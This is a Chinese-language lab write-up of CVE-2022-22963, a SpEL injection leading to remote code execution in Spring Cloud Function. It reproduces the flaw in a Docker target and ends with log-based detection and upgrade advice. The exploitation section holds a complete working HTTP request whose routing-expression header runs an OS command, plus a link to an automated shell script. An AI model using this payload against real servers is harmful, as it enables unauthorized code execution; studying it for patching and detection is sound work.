目录
概述
Spring框架为现代基于java的企业应用程序(在任何类型的部署平台上)提供了一个全面的编程和配置模型。
Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。
影响版本
- 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
- Spring Cloud Function <= 3.2.2
- 官方不再支持的旧版本
漏洞复现
环境安装
docker环境一键启动
[root@localhost CVE-2022-22963]# docker-compose up -d
Starting cve-2022-22963_spring_1 ... done
[root@localhost CVE-2022-22963]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2090020c8e20 vulhub/spring-cloud-function:3.2.2 "java -Djava.securit…" 7 minutes ago Up 6 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22963_spring_1
浏览器访问:http://192.168.52.131:8080,出现如下界面即启动成功
漏洞利用
漏洞测试
构造payload:
POST /functionRouter HTTP/1.1
Host: 192.168.52.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
虽然返回500,但是已经执行成功
上传成功
获取Shell(针对Linux)
构造数据包:
获取Shell(针对Windows)
针对windows的getshell方式,参考如下,完整的自动化脚本:
https://github.com/k3rwin/spring-cloud-function-rce
应急排查
1、docker logs排查
因为我的靶场环境是docker 环境,所以通过”docker logs -f 容器id“能探查到一定痕迹。
回顾上面的利用过程,会发现请求的url是”functionRoute“和服务器返回的包状态码是500,故我们在日志中可以检测这两个关键字。
2、web访问日志
通过利用手法,可以检索web访问日志(如果有的话),搜索关键字”POST“ ”500“ ”functionRoute“
修复建议
升级到安全版本
- Spring Cloud Function 3.1.7
- Spring Cloud Function 3.2.3